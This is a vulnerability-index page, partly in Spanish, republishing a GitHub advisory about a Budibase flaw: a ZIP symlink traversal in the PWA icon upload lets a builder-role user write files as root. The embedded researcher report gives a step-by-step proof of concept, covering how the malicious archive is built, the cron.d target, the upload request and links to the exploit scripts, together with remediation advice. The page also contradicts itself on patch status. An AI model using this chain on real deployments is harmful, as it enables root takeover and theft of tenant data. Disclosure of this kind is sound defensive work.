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Advisory · GitHub · npm · @budibase/server

GHSA-37R6-5JXH-VM83

Budibase arbitrary file write as root via ZIP symlink traversal

Sin parche publicado
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CVSS 3.1
9.9
Crítica
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición70 dDesde la divulgación, 10 sept 2026, 4:10 a. m.
Detección69 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada +1
10 sept 26
13 oct 26
18 nov 26
19 nov 26
10 sept 26
28 sept 26
15 oct 26
2 nov 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-37R6-5JXH-VM83 divulgada · CVSS 9.9 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

The PWA icon upload endpoint extracts a user supplied ZIP with `extract-zip@2.0.1`. That library validates only the directory component of each entry, never the leaf. A ZIP whose leaf entry is a symlink, followed by a second entry of the same name, causes the extractor to write through the symlink to any absolute path on the host. Budibase containers run as root, so this is arbitrary file creation and overwrite as root, which is a direct path to remote code execution.
The attacker needs only the BUILDER role on a single workspace, which is a routinely delegated, low trust role in a multi tenant Budibase deployment.

Root cause

Two defects compose. Neither is sufficient alone.

1. `extract-zip@2.0.1` validates only the directory component. In its `index.js`:

const destDir = path.dirname(path.join(this.opts.dir, entry.fileName))
await fs.mkdir(destDir, { recursive: true })
const canonicalDestDir = await fs.realpath(destDir)
const relativeDestDir = path.relative(this.opts.dir, canonicalDestDir)
if (relativeDestDir.split(path.sep).includes('..')) { throw ... }

It resolves `path.dirname(entry)` and never canonicalises the leaf. It then creates symlink entries unconditionally and writes regular entries with a plain write stream, which follows an existing symlink.

2. Budibase's own entry hook enforces no type or path safety. `validatePWAZipEntries()` in `packages/server/src/api/controllers/static/index.ts:84-127` checks only directory depth, file count, per entry size and total uncompressed size. It never inspects `externalFileAttributes` for `S_IFLNK`, never rejects `..`, and never rejects duplicate entry names.

The exploit therefore places the symlink at the leaf, so the entry's directory is legitimately inside the destination and guard 1 passes, then writes a second entry of the same name through it.

The route carries only `authorized(BUILDER)` (`packages/server/src/api/routes/static.ts:24`), and `checkAuthorized` resolves `isBuilder` per workspace (`packages/server/src/middleware/authorized.ts:36-49`).

Part 1: how to create the vulnerable environment

Step 1. Run the official image, bound to loopback only.

bash poc/bb01-e2e.sh   # does everything below, or run the pieces by hand:

docker run -d --name bb-poc -p 127.0.0.1:10000:80 budibase/budibase:latest

Step 2. Confirm the image is affected. Both checks come back positive on the released image:

$ docker exec bb-poc cat /app/package.json | head -5
{ "name": "@budibase/server", "version": "v3.42.0-cloud", ... }

$ docker exec bb-poc grep -m1 version /node_modules/extract-zip/package.json
  "version": "2.0.1"                    <- the vulnerable, unpatchable dependency

$ docker exec bb-poc grep -rl "pwa/process-zip" /app
/app/dist/index.js                      <- the vulnerable route is in the shipped bundle

$ docker exec bb-poc id
uid=0(root) gid=0(root) groups=0(root)  <- the process runs as root

No Budibase Dockerfile contains a `USER` directive, which is what turns a file write into a root compromise.

Step 3. Create an account and grant it the BUILDER role on one workspace. Capture the session cookie, the `x-budibase-app-id`, and the CSRF token from `GET /api/global/self`.

Part 2: exploitation, step by step

Step 1: prove the guard exists (negative control)

Run the naive version first, where the symlink is a directory component. This is important context: the library's guard is not absent, it is incomplete, and showing that strengthens the report.

bash poc/negative-control-test.sh
--- zip contents ---
  icons                    SYMLINK  mode=0o120777
  icons/PWNED.txt          file
extraction threw: Out of bound path "/root/.../escape" found while processing file icons/PWNED.txt
>>> NOT CONFIRMED: nothing escaped the destination directory

The guard fires correctly. A naive Zip Slip does not work here.

Step 2: the leaf symlink bypass, in isolation

Now place the symlink at the leaf and add a duplicate entry of the same name.

bash poc/isolated-primitive-test.sh
--- zip contents ---
  payload.txt          SYMLINK
  payload.txt          file
  manifest.json        file
--- victim file BEFORE ---
ORIGINAL-CONTENT-DO-NOT-TOUCH
extraction completed WITHOUT error
--- victim file AFTER (outside the extraction dir) ---
OWNED-BY-ZIP-SYMLINK-TRAVERSAL
>>> CONFIRMED: file OUTSIDE the extraction directory was OVERWRITTEN

Note that extraction completed without raising.

Step 3: build the malicious archive
python3 poc/make_symlink_zip2.py evil.zip /etc/cron.d/pwn

The generator writes three entries: a leaf symlink pointing at the absolute target, a regular file of the same name carrying the payload, and a benign `manifest.json` so the surrounding handler logic proceeds normally.

Step 4: upload it
POST /api/pwa/process-zip HTTP/1.1
Host: 127.0.0.1:10000
Cookie: <builder session>
x-csrf-token: <token from GET /api/global/self>
x-budibase-app-id: app_dev_f0ccb2c81cd449dba0cf5cc84c2c9456
Content-Type: multipart/form-data; boundary=...

(file=evil.zip)

Response:

HTTP/1.1 400 Bad Request
{"message":"No valid icons found in the zip file","status":400}
Step 5: verify the write happened anyway
$ docker exec bb-poc ls -la /etc/cron.d/bb01-proof
-rw-r--r-- 1 root root 31 Aug 20 18:48 /etc/cron.d/bb01-proof
$ docker exec bb-poc cat /etc/cron.d/bb01-proof
OWNED-BY-ZIP-SYMLINK-TRAVERSAL

A previously non existent file was created at an attacker chosen absolute path, owned by root, from a single authenticated HTTP request.

The most important detail in this finding: the endpoint returned `400` and the request appears to have failed, because PWA manifest validation runs *after* extraction. The filesystem damage is already done. An operator watching HTTP status codes or application logs sees a rejected upload, not an attack. This makes the vulnerability notably stealthy.

Expected versus observed

| | Patched build | This build |
|---|---|---|
| Symlink as directory component | Rejected, "Out of bound path" | Rejected, "Out of bound path" |
| Symlink as leaf component | Rejected, or extraction throws | Completes with no error |
| Victim file outside destination | Unchanged | Created or overwritten |
| HTTP status | `400` | `400`, identical |

Note that the HTTP status is `400` in both cases, so the response proves nothing. Only the filesystem does.

Impact

A user holding only the builder role on a single workspace can write arbitrary files as root on the host. Writing a valid `cron.d` entry, overwriting a `.js` module the server loads, or replacing a service start script converts this directly into root command execution and full instance compromise, exposing every other tenant's applications, datasource credentials and the embedded CouchDB.

Remediation

  1. Replace `extract-zip`. It is unmaintained and there is no fix. Adopt an extractor that canonicalises the full destination path for every entry, leaf included.
  2. In `validatePWAZipEntries()`, reject any entry whose Unix mode is not a regular file or directory:
  3. Reject entry names containing `..` or a leading `/`, and reject duplicate entry names within a single archive.
  4. Open entry writes with `O_NOFOLLOW` semantics, `fs.createWriteStream(dest, { flags: "wx" })`, so a pre existing symlink cannot be written through.
  5. Set a non root `USER` in the Budibase Dockerfiles so a future file write defect does not immediately imply root compromise.
  6. Validate the manifest before extraction, or extract into a disposable sandbox, so a rejected upload cannot leave filesystem side effects.

Files in this bundle

| Path | What it is |
|---|---|
| `poc/make_symlink_zip2.py` | Builds the malicious archive. Takes an output path and the absolute target to write. |
| `poc/negative-control-make-zip.py` | Builds the naive directory symlink variant, for the control |
| `poc/isolated-primitive-test.sh` | Proves the leaf symlink bypass against `extract-zip@2.0.1` in isolation |

bb01-e2e.sh https://github.com/user-attachments/files/31299156/bb01-e2e.sh
isolated-primitive-test.sh https://github.com/user-attachments/files/31299159/isolated-primitive-test.sh
make_symlink_zip2.py https://github.com/user-attachments/files/31299161/make_symlink_zip2.py

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
@budibase/server< 3.45.0
3.38.1
3.45.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npm@budibase/server
Sin parche — — 3.38.1 afectada
Versiones corregidas3.45.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/Budibase/budibase/security/advisories/GHSA-37r6-5jxh-vm83

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.